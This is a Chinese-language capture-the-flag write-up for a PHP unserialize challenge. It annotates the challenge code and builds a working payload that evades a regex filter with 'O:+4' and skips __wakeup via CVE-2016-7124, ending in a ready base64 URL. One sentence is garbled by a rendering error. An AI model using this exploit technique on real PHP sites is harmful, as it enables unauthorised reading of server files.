题目源代码如下。
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
代码分析:
<?php
class Demo { // 定义一个以Demo为名的类
private $file = 'index.php'; // 给Demo类定义一个$file属性,并且赋值为index.php
public function __construct($file) { // 定义__construct()构造方法
$this->file = $file; // 在调用对象之前,给$file属性初始化赋值
}
function __destruct() { // 定义一个__destruct()析构方法
echo @highlight_file($this->file, true); // 在销毁对象之前,高亮打印出$file属性的源码
}
function __wakeup() { // 定义一个__wakeup()魔术方法
if ($this->file != 'index.php') { / 在对象反序列化的时候,判断$file属性的值是否为index.php
//the secret is in the fl4g.php // 提示flag在一个以fl4g.php为名的php文件里
$this->file = 'index.php'; // 若$file属性不等于index.php,则赋值为index.php
}
}
}
if (isset($_GET['var'])) { // 判断客户端是否以GET形式传递$var参数到后台
$var = base64_decode($_GET['var']); // 若传递了,先经过base64解码一次
if (preg_match('/[oc]:\d+:/i', $var)) { // 解码后,判断是否匹配正则
die('stop hacking!'); // 若匹配正则,则退出,并且回应“stop hacking”
} else { // 若没有匹配正则,则反序列化$var属性
@unserialize($var);
}
} else { // 若没有传递$var参数到后台,则高亮回显index.php的源码
highlight_file("index.php");
}
?>
分析代码可知,我们的目标是fl4g.php这一文件,输出文件的函数只有 ==echo @highlight_file(KaTeX parse error: Expected group after '_' at position 48: …个程序生命期结束时调用析构函数_̲_destruct(),此时file === “fl4g.php”。
对程序进行逆推,如果我们能够拿到flag,执行的语句只能是 @unserialize($var); 而不可能是 highlight_file(“index.php”); 或者 die(‘stop hacking!’); 。因此我们要对"fl4g.php"进行序列化,结果为
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
正好匹配正则表达式,如果我们想让程序执行 @unserialize($var); 语句,则必须绕过preg_match函数。正则表达式匹配的是"O:4:"这一部分,而我们知道,4 = +4,因此我们将"O:4:"修改为"O:+4:"即可成功绕过preg_match函数而不会影响反序列化的结果。
对于unserialize函数,若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)。而Demo类中恰好定义了__wakeup()魔术方法,因此我们要绕过__wakeup()魔术方法,使其不会执行,这里利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
最后,由于源码中有base64_decode()函数,我们再对payload进行一次Base64编码即可得到最终的payload。下面是获取payload的代码。
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo("fl4g.php");
$b = serialize($A);
echo "$b\n";
$b = str_replace("O:4", "O:+4",$b);
echo "$b\n";
$b = str_replace(":1:", ":2:", $b);
echo "$b\n";
$b = base64_encode($b);
echo "$b";
?>
输出结果为:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
在url中构造 /?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 即可